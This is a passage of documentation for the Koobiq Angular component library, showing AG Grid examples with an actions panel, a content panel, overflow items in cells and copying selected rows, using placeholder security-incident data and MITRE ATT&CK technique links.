        column4: 'Text ' + index
    }));
    readonly selectedItems = output<ExampleTableItem[]>();

    constructor() {
        effect(() => {
            if (!this.panelOpened()) return;
            if (this.getScrollBottomOffset() > ACTIONS_PANEL_HEIGHT) return;

            // The grid was scrolled (near) to its bottom before the panel reserved space for
            // itself — without this, the panel would overlap the last rows instead of the
            // padding revealed by the `.example-grid_actions-panel-opened` styles. Deferred
            // until that padding-bottom transition finishes, since scrollHeight only grows to
            // its full value once the animation settles.
            this.getBodyViewport()?.addEventListener('transitionend', () => this.scrollToBottom(), {
                once: true
            });
        });
    }

    reset(): void {
        this.api?.deselectAll();
    }

    /** Distance, in px, between the current scroll position and the bottom of the grid's content. */
    private getScrollBottomOffset(): number {
        const viewport = this.getBodyViewport();

        return viewport ? viewport.scrollHeight - viewport.scrollTop - viewport.clientHeight : 0;
    }

    /** Scrolls the grid all the way down, revealing the padding reserved for the actions panel. */
    private scrollToBottom(): void {
        const viewport = this.getBodyViewport();

        viewport?.scrollTo({ top: viewport.scrollHeight, behavior: 'smooth' });
    }

    private getBodyViewport(): HTMLElement | null {
        return this.elementRef.nativeElement.querySelector('.ag-body-viewport');
    }

    protected onFirstDataRendered({ api }: FirstDataRenderedEvent): void {
        api.forEachNode((node) => {
            if (node.rowIndex === 3 || node.rowIndex === 4) {
                node.setSelected(true);
            }
        });
        api.setColumnWidths([{ key: 'ag-Grid-SelectionColumn', newWidth: 36 }]);

        this.api = api;
    }

    protected onSelectionChanged({ api }: SelectionChangedEvent<ExampleTableItem>): void {
        this.selectedItems.emit(api.getSelectedRows());
    }
}

@Component({
    selector: 'example-actions-panel',
    imports: [
        KbqOverflowItemsModule,
        KbqButtonModule,
        KbqIconModule,
        KbqDropdownModule,
        KbqDividerModule
    ],
    template: `
        <div #kbqOverflowItems="kbqOverflowItems" kbqOverflowItems>
            <div order="99" [kbqOverflowItem]="action.Counter">
                <div class="example-counter">Selected: {{ data().length }}</div>
                <kbq-divider class="example-divider-vertical" [vertical]="true" />
            </div>

            @for (action of actions; track action.id) {
                <div [kbqOverflowItem]="action.id">
                    @if (action.divider) {
                        <kbq-divider class="example-divider-vertical" [vertical]="true" />
                    }
                    <button
                        color="contrast"
                        kbq-button
                        [class.layout-margin-left-xxs]="!$first"
                        (click)="onAction(action)"
                    >
                        <i kbq-icon [class]="action.icon"></i>
                        {{ action.id }}
                    </button>
                </div>
            }

            @let hiddenItemIDs = kbqOverflowItems.hiddenItemIDs();
            <!-- ignores when only action.Counter is hidden -->
            @if (hiddenItemIDs.size > 1) {
                <button
                    kbqOverflowItemsResult
                    color="contrast"
                    kbq-button
                    aria-label="More"
                    [kbqDropdownTriggerFor]="dropdown"
                >
                    <i kbq-icon="kbq-ellipsis-vertical_16"></i>
                </button>
            }

            <kbq-dropdown #dropdown="kbqDropdown">
                <div class="example-counter-dropdown">Selected: {{ data().length }}</div>
                <kbq-divider />

                @for (action of actions; track action.id) {
                    @if (hiddenItemIDs.has(action.id)) {
                        @if (action.divider && hiddenItemIDs.has(actions[$index - 1].id)) {
                            <kbq-divider />
                        }
                        <button kbq-dropdown-item (click)="onAction(action)">
                            <i kbq-icon [class]="action.icon"></i>
                            {{ action.id }}
                        </button>
                    }
                }
            </kbq-dropdown>
        </div>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            overflow: hidden;
            flex-grow: 1;
        }

        .example-counter {
            margin: 0 var(--kbq-size-m);
            width: 75px;
        }

        .example-counter,
        .example-counter-dropdown {
            user-select: none;
            white-space: nowrap;
        }

        .example-counter-dropdown {
            font-weight: var(--kbq-typography-text-normal-strong-font-weight);
            margin: var(--kbq-size-s) var(--kbq-size-m);
        }

        .kbq-overflow-item {
            display: flex;
            align-items: center;
        }

        .example-divider-vertical {
            background-color: var(--kbq-actions-panel-vertical-divider-background-color);
            height: var(--kbq-actions-panel-vertical-divider-height) !important;
            margin: var(--kbq-actions-panel-vertical-divider-margin);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ExampleActionsPanel {
    protected readonly actions: ExampleAction[] = [
        { id: 'Responsible', icon: 'kbq-user_16' },
        { id: 'Link to incident', icon: 'kbq-link_16' },
        { id: 'Remove', icon: 'kbq-trash_16', divider: true }
    ];
    protected readonly action = { Counter: 'counter' };
    protected readonly data = inject<Signal<ExampleTableItem[]>>(KBQ_ACTIONS_PANEL_DATA);
    protected readonly actionsPanelRef = inject(KbqActionsPanelRef);
    private readonly toast = inject(KbqToastService);

    protected onAction(action: ExampleAction): void {
        this.toast.show({ title: `Action initiated ${action.id}` });
    }
}

@Component({
    selector: 'ag-grid-and-actions-panel-example',
    imports: [ExampleGrid],
    template: `
        <example-grid [panelOpened]="panelOpened()" (selectedItems)="toggleActionsPanel($event)" />
    `,
    styles: `
        :host {
            display: flex;
            overflow: hidden;
        }
    `,
    providers: [KbqActionsPanel],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridAndActionsPanelExample {
    private readonly actionsPanel = inject(KbqActionsPanel, { self: true });
    private readonly container = viewChild.required(ExampleGrid, { read: ElementRef });
    private readonly grid = viewChild.required(ExampleGrid);
    private actionsPanelRef!: KbqActionsPanelRef<ExampleActionsPanel> | null;
    private readonly data = signal<ExampleTableItem[]>([]);
    private readonly destroyRef = inject(DestroyRef);
    protected readonly panelOpened = signal(false);

    protected toggleActionsPanel(selectedItems: ExampleTableItem[]): void {
        if (selectedItems.length === 0) return this.actionsPanel.close();

        this.data.set(selectedItems);

        if (this.actionsPanelRef) return;

        this.actionsPanelRef = this.actionsPanel.open(ExampleActionsPanel, {
            data: this.data,
            overlayContainer: this.container()
        });

        this.actionsPanelRef.beforeOpened.subscribe(() => {
            this.panelOpened.set(true);
        });

        // Fires as soon as close() is called, before the exit animation plays — so the grid's
        // padding starts collapsing in sync with the panel's own slide-down instead of ~150ms late.
        this.actionsPanelRef.beforeClosed.pipe(takeUntilDestroyed(this.destroyRef)).subscribe(() => {
            this.panelOpened.set(false);
        });

        this.actionsPanelRef.afterClosed.pipe(takeUntilDestroyed(this.destroyRef)).subscribe((result) => {
            console.log('ActionsPanel closed by action:', result);

            this.actionsPanelRef = null;
            this.grid().reset();
        });
    }
}
```

### Content panel for the selected row

The [Content panel](https://koobiq.io/en/components/content-panel.md) component shows a quick preview of the row selected in the table, shifting the table instead of covering it.

**Example: Ag-grid and content-panel example** (`ag-grid-and-content-panel`)

```ts ag-grid-and-content-panel-example.ts
import { ENTER } from '@angular/cdk/keycodes';
import { ChangeDetectionStrategy, Component, inject, model, output, signal } from '@angular/core';
import { KbqAgGridThemeModule } from '@koobiq/ag-grid-angular-theme';
import { KbqBadgeColors, KbqBadgeModule } from '@koobiq/components/badge';
import { KbqButtonModule, KbqButtonStyles } from '@koobiq/components/button';
import { KbqContentPanelModule } from '@koobiq/components/content-panel';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqLink } from '@koobiq/components/link';
import { KbqModalModule, KbqModalRef, KbqModalService } from '@koobiq/components/modal';
import { AgGridModule } from 'ag-grid-angular';
import {
    AllCommunityModule,
    CellClickedEvent,
    CellFocusedEvent,
    CellKeyDownEvent,
    ColDef,
    FirstDataRenderedEvent,
    FullWidthCellKeyDownEvent,
    ModuleRegistry,
    RowSelectionOptions
} from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

type ExampleRowData = Record<string, string>;

@Component({
    selector: 'example-grid',
    imports: [AgGridModule, KbqAgGridThemeModule],
    template: `
        <ag-grid-angular
            kbqAgGridTheme
            kbqAgGridThemeDisableCellFocusStyles
            kbqAgGridSelectRowsByShiftClick
            kbqAgGridToNextRowByTab
            kbqAgGridSelectRowsByShiftArrow
            kbqAgGridSelectRowsByCtrlClick
            [alwaysMultiSort]="true"
            [rowSelection]="rowSelection"
            [style.height]="'100%'"
            [columnDefs]="columnDefs"
            [defaultColDef]="defaultColDef"
            [rowData]="rowData"
            (firstDataRendered)="onFirstDataRendered($event)"
            (cellClicked)="cellClicked.emit($event)"
            (cellFocused)="cellFocused.emit($event)"
            (cellKeyDown)="cellKeyDown.emit($event)"
        />
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ExampleGrid {
    readonly cellClicked = output<CellClickedEvent>();
    readonly cellFocused = output<CellFocusedEvent>();
    readonly cellKeyDown = output<CellKeyDownEvent | FullWidthCellKeyDownEvent>();

    protected readonly defaultColDef: ColDef = {
        sortable: true,
        resizable: true,
        width: 140
    };

    protected readonly rowSelection: RowSelectionOptions = {
        mode: 'multiRow',
        headerCheckbox: true,
        checkboxes: true,
        hideDisabledCheckboxes: false
    };

    private readonly _columnDefs: ColDef[] = Array.from({ length: 20 }, (_, index) => ({
        headerName: 'Text ',
        field: 'column' + index
    }));

    protected readonly columnDefs: ColDef[] = this._columnDefs;

    protected readonly rowData: ExampleRowData[] = Array.from({ length: 100 }, (_, index) => {
        return this._columnDefs.reduce((prev, _cur, i) => {
            prev['column' + i] = 'Text ' + index;

            return prev;
        }, {} as ExampleRowData);
    });

    protected onFirstDataRendered({ api }: FirstDataRenderedEvent): void {
        api.forEachNode((node) => {
            if (node.rowIndex === 3 || node.rowIndex === 4) {
                node.setSelected(true);
            }
        });
    }
}

@Component({
    selector: 'example-content-panel',
    imports: [
        KbqButtonModule,
        KbqBadgeModule,
        KbqLink,
        KbqIconModule,
        KbqContentPanelModule,
        KbqModalModule,
        ExampleGrid
    ],
    template: `
        <kbq-modal-title class="example-modal-title">
            <div>Click any table row to open Content panel</div>
            <div class="example-modal-title-actions">
                <button kbq-button [color]="componentColors.Contrast" (click)="modalRef.close()">Close window</button>
                <button
                    kbq-button
                    aria-label="More"
                    [color]="componentColors.Contrast"
                    [kbqStyle]="buttonStyles.Transparent"
                >
                    <i kbq-icon="kbq-ellipsis-horizontal_16"></i>
                </button>
            </div>
        </kbq-modal-title>
        <kbq-modal-body class="example-modal-body">
            <kbq-content-panel-container class="example-content-panel-container" [(opened)]="opened">
                <example-grid
                    (cellClicked)="onGridCellClicked($event)"
                    (cellFocused)="onGridCellFocused($event)"
                    (cellKeyDown)="onGridCellKeyDown($event)"
                />
                <kbq-content-panel>
                    <kbq-content-panel-aside>
                        @for (_i of [0, 1, 2, 3]; track $index) {
                            <button
                                kbq-button
                                aria-label="Report a bug"
                                [class.kbq-active]="$first"
                                [color]="componentColors.Contrast"
                                [kbqStyle]="buttonStyles.Transparent"
                            >
                                <i kbq-icon="kbq-bug_16"></i>
                            </button>
                        }
                    </kbq-content-panel-aside>
                    <kbq-content-panel-header>
                        <div class="example-content-header-title" kbqContentPanelHeaderTitle>
                            <span>Selected row {{ selectedRowIndex() }}</span>
                            <kbq-badge [badgeColor]="badgeColors.FadeError">8,6</kbq-badge>
                            <a kbqLink pseudo>July 21, 2025 2:29 PM</a>
                        </div>
                        <div class="example-content-header-actions" kbqContentPanelHeaderActions>
                            <button
                                kbq-button
                                aria-label="Copy link"
                                [color]="componentColors.Contrast"
                                [kbqStyle]="buttonStyles.Transparent"
                            >
                                <i kbq-icon="kbq-link_16"></i>
                            </button>
                            <button
                                kbq-button
                                aria-label="Expand"
                                [color]="componentColors.Contrast"
                                [kbqStyle]="buttonStyles.Transparent"
                            >
                                <i kbq-icon="kbq-arrows-expand-diagonal_16"></i>
                            </button>
                            <button
                                kbq-button
                                aria-label="More"
                                [color]="componentColors.Contrast"
                                [kbqStyle]="buttonStyles.Transparent"
                            >
                                <i kbq-icon="kbq-ellipsis-vertical_16"></i>
                            </button>
                        </div>
                        <div class="example-content-header-caption">Caption</div>
                        <div class="example-content-header-buttons">
                            <button kbq-button [color]="componentColors.ContrastFade">
                                <i kbq-icon="kbq-pencil_16"></i>
                                Edit
                            </button>
                            <button kbq-button [color]="componentColors.ContrastFade">
                                <i kbq-icon="kbq-square-multiple-o_16"></i>
                                Copy
                            </button>
                            <button kbq-button [color]="componentColors.ContrastFade">
                                <i kbq-icon="kbq-trash_16"></i>
                                Delete
                            </button>
                        </div>
                    </kbq-content-panel-header>
                    <kbq-content-panel-body class="example-content-panel-body">
                        @for (_i of [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]; track $index) {
                            <p>
                                In computing [{{ $index }}], a denial-of-service attack (DoS attack) is a cyber-attack
                                in which the perpetrator seeks to make a machine or network resource unavailable to its
                                intended users by temporarily or indefinitely disrupting services of a host connected to
                                a network. Denial of service is typically accomplished by flooding the targeted machine
                                or resource with superfluous requests in an attempt to overload systems and prevent some
                                or all legitimate requests from being fulfilled. The range of attacks varies widely,
                                spanning from inundating a server with millions of requests to slow its performance,
                                overwhelming a server with a substantial amount of invalid data, to submitting requests
                                with an illegitimate IP address.
                            </p>
                        }
                    </kbq-content-panel-body>
                    <kbq-content-panel-footer>
                        <button kbq-button [color]="componentColors.Contrast">Button 1</button>
                        <button kbq-button [color]="componentColors.ContrastFade">Button 2</button>
                        <button kbq-button [color]="componentColors.ContrastFade">Button 3</button>
                    </kbq-content-panel-footer>
                </kbq-content-panel>
            </kbq-content-panel-container>
        </kbq-modal-body>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            height: 90vh;
        }

        .example-modal-body {
            height: 100%;
            max-height: unset;
        }

        .example-modal-body:has(.kbq-content-panel-container__opened) {
            padding-right: 0;
        }

        ::ng-deep .example-modal-title {
            padding: var(--kbq-size-xl) var(--kbq-size-xxl);
        }

        ::ng-deep .example-modal-title .kbq-modal-title {
            display: flex;
            justify-content: space-between;
            width: 100%;
        }

        .example-modal-title-actions {
            display: flex;
            gap: var(--kbq-size-s);
        }

        .example-content-panel-container {
            display: flex;
            max-height: unset;
        }

        .example-content-header-caption {
            color: var(--kbq-foreground-contrast-secondary);
            margin-top: var(--kbq-size-xxs);
            margin-bottom: var(--kbq-size-l);
        }

        .example-content-header-buttons {
            display: flex;
            gap: var(--kbq-size-l);
        }

        .example-content-header-title {
            display: flex;
            align-items: center;
            gap: var(--kbq-size-s);
        }

        .example-content-header-title > span,
        .example-content-header-title > a {
            display: -webkit-box;
            -webkit-box-orient: vertical;
            -webkit-line-clamp: 1;
            overflow: hidden;
            text-overflow: ellipsis;
        }

        .example-content-panel-body > p {
            margin-top: 0;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ExampleContentPanel {
    protected readonly modalRef = inject(KbqModalRef);

    protected readonly componentColors = KbqComponentColors;
    protected readonly buttonStyles = KbqButtonStyles;
    protected readonly badgeColors = KbqBadgeColors;

    protected readonly selectedRowIndex = signal(0);
    protected readonly opened = model(false);

    protected onGridCellClicked({ rowIndex }: CellClickedEvent): void {
        this.selectedRowIndex.set(rowIndex!);
        this.opened.set(true);
    }

    protected onGridCellFocused(event: CellFocusedEvent): void {
        if (this.opened()) this.selectedRowIndex.set(event.rowIndex!);
    }

    protected onGridCellKeyDown({ rowIndex, event }: CellKeyDownEvent | FullWidthCellKeyDownEvent): void {
        if (event instanceof KeyboardEvent && event.keyCode === ENTER) {
            this.selectedRowIndex.set(rowIndex!);
            this.opened.set(true);
        }
    }
}

@Component({
    selector: 'ag-grid-and-content-panel-example',
    imports: [KbqButtonModule, KbqModalModule],
    template: `
        <button kbq-button (click)="openModal()">Show example</button>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            height: 160px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridAndContentPanelExample {
    private readonly modal = inject(KbqModalService);

    openModal(): void {
        this.modal.open({
            kbqComponent: ExampleContentPanel,
            kbqWidth: '90vw',
            kbqClosable: false
        });
    }
}
```

### Long lists in cells

A long list can fit into a single line of a cell: [Overflow items](https://koobiq.io/en/components/overflow-items.md) hides what does not fit the width and recalculates that whenever the column is resized. The hidden items can be expanded in the cell itself or shown as a full list in a [Popover](https://koobiq.io/en/components/popover.md). To let the row height follow the content, enable `autoHeight` for the column.

**Example: AG Grid with overflow items** (`ag-grid-long-cell-content`)

```ts ag-grid-long-cell-content-example.ts
import { ChangeDetectionStrategy, Component, DestroyRef, inject, signal, viewChild } from '@angular/core';
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
import { KbqAgGridThemeModule } from '@koobiq/ag-grid-angular-theme';
import { KbqBadgeModule } from '@koobiq/components/badge';
import { PopUpPlacements, PopUpSizes } from '@koobiq/components/core';
import { KbqLink } from '@koobiq/components/link';
import { KbqOverflowItem, KbqOverflowItems, KbqOverflowItemsResult } from '@koobiq/components/overflow-items';
import { KbqPopoverModule } from '@koobiq/components/popover';
import { AgGridModule, ICellRendererAngularComp } from 'ag-grid-angular';
import { AllCommunityModule, ColDef, ICellRendererParams, ModuleRegistry } from 'ag-grid-community';
import { filter, fromEvent } from 'rxjs';

ModuleRegistry.registerModules([AllCommunityModule]);

type ExampleRowData = {
    event: string;
    hosts: string[];
    techniques: string[];
    status: string;
};

type ExampleTechnique = {
    id: string;
    url: string;
};

// The grid keeps focus on the cell itself and Tab never reaches the controls inside it,
// so Enter on the focused cell is handled instead.
const onCellEnter = (cell: HTMLElement, destroyRef: DestroyRef, callback: (event: KeyboardEvent) => void): void => {
    fromEvent<KeyboardEvent>(cell, 'keydown')
        .pipe(
            filter(({ key, target }) => key === 'Enter' && target === cell),
            takeUntilDestroyed(destroyRef)
        )
        .subscribe(callback);
};

@Component({
    selector: 'example-overflow-badges-cell-renderer',
    imports: [KbqOverflowItems, KbqOverflowItem, KbqOverflowItemsResult, KbqBadgeModule, KbqLink],
    template: `
        @if (collapsed()) {
            <div #overflow="kbqOverflowItems" kbqOverflowItems wrap="wrap" class="example-hosts example-hosts_one-row">
                @for (host of hosts(); track host) {
                    <kbq-badge class="layout-margin-right-xxs" [kbqOverflowItem]="host">{{ host }}</kbq-badge>
                }
                <a kbqLink pseudo kbqOverflowItemsResult (click)="collapsed.set(false)">
                    {{ overflow.hiddenItemIDs().size }} еще
                </a>
            </div>
        } @else {
            <div class="example-hosts">
                @for (host of hosts(); track host) {
                    <kbq-badge class="layout-margin-right-xxs">{{ host }}</kbq-badge>
                }
            </div>
            <a kbqLink pseudo (click)="collapsed.set(true)">Свернуть</a>
        }
    `,
    styles: `
        :host {
            display: block;
            padding-block: var(--kbq-size-xs);
        }

        .example-hosts {
            display: flex;
            flex-wrap: wrap;
            align-items: center;
            row-gap: var(--kbq-size-xxs);
        }

        /* One row of badges: the directive hides what does not fit into it and shows the trigger instead. */
        .example-hosts_one-row {
            max-height: var(--kbq-size-xxl);
        }

        .kbq-overflow-items-result {
            white-space: nowrap;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ExampleOverflowBadgesCellRenderer implements ICellRendererAngularComp {
    // Only the collapsed cell has the directive, hence the optional query.
    private readonly overflowItems = viewChild(KbqOverflowItems);
    private readonly destroyRef = inject(DestroyRef);

    protected readonly hosts = signal<string[]>([]);
    protected readonly collapsed = signal(true);

    agInit(params: ICellRendererParams<ExampleRowData, string[]>): void {
        this.hosts.set(params.value ?? []);
        onCellEnter(params.eGridCell, this.destroyRef, () => {
            // A collapsed cell with everything already visible has nothing to expand.
            if (this.collapsed() && !this.overflowItems()?.hiddenItemIDs().size) return;

            this.collapsed.update((state) => !state);
        });
    }

    refresh(params: ICellRendererParams<ExampleRowData, string[]>): boolean {
        this.hosts.set(params.value ?? []);

        return true;
    }
}

@Component({
    selector: 'example-overflow-links-cell-renderer',
    imports: [KbqOverflowItems, KbqOverflowItem, KbqOverflowItemsResult, KbqLink, KbqPopoverModule],
    template: `
        <div #overflow="kbqOverflowItems" kbqOverflowItems>
            @for (technique of techniques(); track technique.id) {
                <a
                    kbqLink
                    target="_blank"
                    rel="noopener noreferrer"
                    [kbqOverflowItem]="technique.id"
                    [href]="technique.url"
                    [class.layout-margin-right-s]="!$last"
                >
                    {{ technique.id }}
                </a>
            }
            <a
                kbqLink
                pseudo
                role="button"
                kbqOverflowItemsResult
                kbqPopover
                [kbqPopoverContent]="allTechniquesContent"
                [kbqPopoverSize]="popUpSizes.Small"
                [kbqPopoverPlacement]="popUpPlacements.BottomRight"
                [kbqPopoverPlacementPriority]="popoverPlacementPriority"
                [kbqPopoverArrow]="false"
                [(kbqPopoverVisible)]="popoverVisible"
            >
                Все {{ techniques().length }}
            </a>
        </div>

        <ng-template #allTechniquesContent>
            <div class="example-all-techniques">
                @for (technique of techniques(); track technique.id) {
                    <a kbqLink target="_blank" rel="noopener noreferrer" [href]="technique.url">{{ technique.id }}</a>
                }
            </div>
        </ng-template>
    `,
    styles: `
        :host {
            display: block;
            padding-block: var(--kbq-size-s);
            line-height: var(--kbq-typography-text-normal-line-height);
        }

        .example-all-techniques {
            display: flex;
            flex-direction: column;
            align-items: flex-start;
            gap: var(--kbq-size-xs);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ExampleOverflowLinksCellRenderer implements ICellRendererAngularComp {
    private readonly overflowItems = viewChild.required(KbqOverflowItems);
    private readonly destroyRef = inject(DestroyRef);

    protected readonly popUpSizes = PopUpSizes;
    protected readonly popUpPlacements = PopUpPlacements;
    // Right edge of the panel follows the trigger: under it, and above when there is no room below.
    protected readonly popoverPlacementPriority = [PopUpPlacements.BottomRight, PopUpPlacements.TopRight];
    protected readonly popoverVisible = signal(false);
    protected readonly techniques = signal<ExampleTechnique[]>([]);

    agInit(params: ICellRendererParams<ExampleRowData, string[]>): void {
        this.setTechniques(params.value);
        onCellEnter(params.eGridCell, this.destroyRef, () => {
            if (this.overflowItems().hiddenItemIDs().size) this.popoverVisible.set(true);
        });
    }

    refresh(params: ICellRendererParams<ExampleRowData, string[]>): boolean {
        this.setTechniques(params.value);

        return true;
    }

    private setTechniques(ids: string[] | null | undefined): void {
        // A sub-technique page is nested under its parent: T1110.001 lives at /techniques/T1110/001/.
        this.techniques.set(
            (ids ?? []).map((id) => ({ id, url: `https://attack.mitre.org/techniques/${id.replace('.', '/')}/` }))
        );
    }
}

const EXAMPLE_EVENTS: ExampleRowData[] = [
    {
        event: 'Подбор пароля',
        hosts: ['srv-01', 'srv-02', 'srv-03', 'srv-04', 'srv-05', 'srv-06', 'srv-07'],
        techniques: ['T1110', 'T1110.001', 'T1110.003', 'T1110.004', 'T1078', 'T1021.004'],
        status: 'В работе'
    },
    {
        event: 'Сканирование портов',
        hosts: ['gw-01'],
        techniques: ['T1046'],
        status: 'Закрыто'
    },
    {
        event: 'Обнаружено вредоносное ПО',
        hosts: ['ws-12', 'ws-15', 'ws-21'],
        techniques: ['T1566.001', 'T1204.002', 'T1027'],
        status: 'Закрыто'
    },
    {
        event: 'Обфусцированный скрипт',
        hosts: ['ws-03', 'ws-04'],
        techniques: ['T1059.001', 'T1027.010', 'T1140'],
        status: 'В работе'
    },
    {
        event: 'Утечка данных',
        hosts: ['db-01', 'db-02', 'db-03', 'db-04', 'db-05', 'db-06', 'db-07', 'db-08', 'db-09'],
        techniques: ['T1567.002', 'T1048', 'T1030', 'T1041', 'T1020'],
        status: 'Новое'
    },
    {
        event: 'DNS-туннелирование',
        hosts: ['dns-01', 'dns-02'],
        techniques: ['T1071.004', 'T1572'],
        status: 'Новое'
    },
    {
        event: 'Повышение привилегий',
        hosts: ['ws-01', 'ws-02', 'ws-05', 'ws-06', 'ws-08', 'ws-09'],
        techniques: ['T1098', 'T1078.002', 'T1078.003', 'T1021.002'],
        status: 'В работе'
    },
    {
        event: 'Фишинговое письмо',
        hosts: ['mail-01', 'mail-02', 'mail-03', 'mail-04'],
        techniques: ['T1566.002', 'T1598.003', 'T1056.003', 'T1583.001'],
        status: 'Закрыто'
    }
];

@Component({
    selector: 'ag-grid-long-cell-content-example',
    imports: [AgGridModule, KbqAgGridThemeModule],
    template: `
        <ag-grid-angular
            kbqAgGridTheme
            kbqAgGridThemeDisableCellFocusStyles
            [style.height.px]="400"
            [columnDefs]="columnDefs"
            [rowData]="rowData"
        />
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridLongCellContentExample {
    protected readonly columnDefs: ColDef<ExampleRowData>[] = [
        {
            field: 'event',
            headerName: 'Событие',
            flex: 1,
            minWidth: 150
        },
        {
            field: 'hosts',
            headerName: 'Узлы',
            width: 220,
            minWidth: 140,
            sortable: false,
            valueFormatter: ({ value }) => value?.join(', ') ?? '',
            cellRenderer: ExampleOverflowBadgesCellRenderer,
            autoHeight: true
        },
        {
            field: 'techniques',
            headerName: 'Техники',
            width: 240,
            minWidth: 140,
            sortable: false,
            valueFormatter: ({ value }) => value?.join(', ') ?? '',
            cellRenderer: ExampleOverflowLinksCellRenderer
        },
        {
            field: 'status',
            headerName: 'Статус',
            flex: 1,
            minWidth: 120
        }
    ];

    // Repeats of the events above, enough rows to scroll and to see the grid recalculate the cells it renders.
    protected readonly rowData: ExampleRowData[] = Array.from({ length: 100 }, (_, index) => {
        const event = EXAMPLE_EVENTS[index % EXAMPLE_EVENTS.length];

        return { ...event, event: `${event.event} ${index + 1}` };
    });
}
```

### Copying selected rows

The `kbqAgGridCopyByCtrlC` directive allows you to copy selected rows to the clipboard using the `Ctrl+C` keyboard shortcut.

**Example: AG Grid with \`KbqAgGridCopyByCtrlC\` directive** (`ag-grid-copy-selected`)

```ts ag-grid-copy-selected-example.ts
import { ChangeDetectionStrategy, Component, computed, inject, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import {
    KbqAgGridCopyEvent,
    KbqAgGridCopyFormatter,
    kbqAgGridCopyFormatterCsv,
    kbqAgGridCopyFormatterJson,
    kbqAgGridCopyFormatterTsv,
    KbqAgGridThemeModule
} from '@koobiq/ag-grid-angular-theme';
import { KbqSelectModule } from '@koobiq/components/select';
import { KbqToastService } from '@koobiq/components/toast';
import { AgGridModule } from 'ag-grid-angular';
import {
    AllCommunityModule,
    ColDef,
    FirstDataRenderedEvent,
    ModuleRegistry,
    RowSelectionOptions
} from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

const customCopyFormatterWithHeaderRow: KbqAgGridCopyFormatter = (api) => {
    const columns = api.getAllDisplayedColumns().filter((col) => col.getColId() !== 'ag-Grid-SelectionColumn');
    const headerRow = columns.map((col) => col.getColDef().headerName ?? col.getColId()).join('\t');

    return `${headerRow}\n${kbqAgGridCopyFormatterTsv(api)}`;
};

@Component({
    selector: 'ag-grid-copy-selected-example',
    imports: [AgGridModule, KbqAgGridThemeModule, KbqSelectModule, FormsModule],
    template: `
        <kbq-form-field>
            <kbq-select [(ngModel)]="copyFormat">
                @for (option of copyFormatOptions; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>

        <ag-grid-angular
            kbqAgGridTheme
            kbqAgGridSelectRowsByShiftClick
            kbqAgGridThemeDisableCellFocusStyles
            kbqAgGridToNextRowByTab
            kbqAgGridSelectRowsByShiftArrow
            kbqAgGridSelectRowsByCtrlClick
            kbqAgGridCopyByCtrlC
            [alwaysMultiSort]="true"
            [kbqAgGridCopyFormatter]="copyFormatter()"
            [rowSelection]="rowSelection"
            [style.height.px]="300"
            [columnDefs]="columnDefs"
            [defaultColDef]="defaultColDef"
            [rowData]="rowData"
            (kbqAgGridCopyDone)="onCopyDone($event)"
            (firstDataRendered)="onFirstDataRendered($event)"
        />
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-m);
        }

        .kbq-form-field {
            width: 200px;
            align-self: center;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridCopySelectedExample {
    private readonly toast = inject(KbqToastService);
    protected readonly copyFormatOptions = ['TSV', 'CSV', 'JSON', 'Custom'] as const;
    protected readonly copyFormat = model<(typeof this.copyFormatOptions)[number]>('TSV');
    protected readonly copyFormatter = computed<KbqAgGridCopyFormatter | undefined>(() => {
        switch (this.copyFormat()) {
            case 'Custom': {
                return customCopyFormatterWithHeaderRow;
            }
            case 'CSV': {
                return kbqAgGridCopyFormatterCsv;
            }
            case 'JSON': {
                return kbqAgGridCopyFormatterJson;
            }
            case 'TSV':
            default: {
                return kbqAgGridCopyFormatterTsv;
            }
        }
    });

    protected readonly defaultColDef: ColDef = {
        sortable: true,
        resizable: true,
        width: 140
    };

    protected readonly rowSelection: RowSelectionOptions = {
        mode: 'multiRow',
        headerCheckbox: true,
        checkboxes: true,
        hideDisabledCheckboxes: false
    };

    protected readonly columnDefs: ColDef[] = [
        {
            field: 'column0',
            headerName: 'Project name',
            width: 180
        },
        {
            field: 'column1',
            headerName: 'Text'
        },
        {
            field: 'column2',
            headerName: 'Text'
        },
        {
            field: 'column3',
            headerName: 'Text'
        },
        {
            field: 'column4',
            headerName: 'Text'
        },
        {
            field: 'column5',
            headerName: 'Text'
        },
        {
            field: 'column6',
            headerName: 'Text'
        },
        {
            field: 'column7',
            headerName: 'Text'
        },
        {
            field: 'column8',
            headerName: 'Text'
        },
        {
            field: 'column9',
            headerName: 'Text'
        }
    ];

    protected readonly rowData = Array.from({ length: 100 }, (_, index) => ({
        column0: 'Project name ' + index,
        column1: 'Text ' + index,
        column2: 'Text ' + index,
        column3: 'Text ' + index,
        column4: 'Text ' + index,
        column5: 'Text ' + index,
        column6: 'Text ' + index,
        column7: 'Text ' + index,
        column8: 'Text ' + index,
        column9: 'Text ' + index
    }));

    protected onFirstDataRendered({ api }: FirstDataRenderedEvent): void {
        api.forEachNode((node) => {
            if (node.rowIndex === 3 || node.rowIndex === 4) {
                node.setSelected(true);
            }
        });
    }

    protected onCopyDone({ success }: KbqAgGridCopyEvent): void {
        if (success) {
            this.toast.show({
                title: 'Data copied',
                caption: `Selected nodes have been copied to clipboard. Format: ${this.copyFormat()}`
            });
        }
    }
}
```

### Export

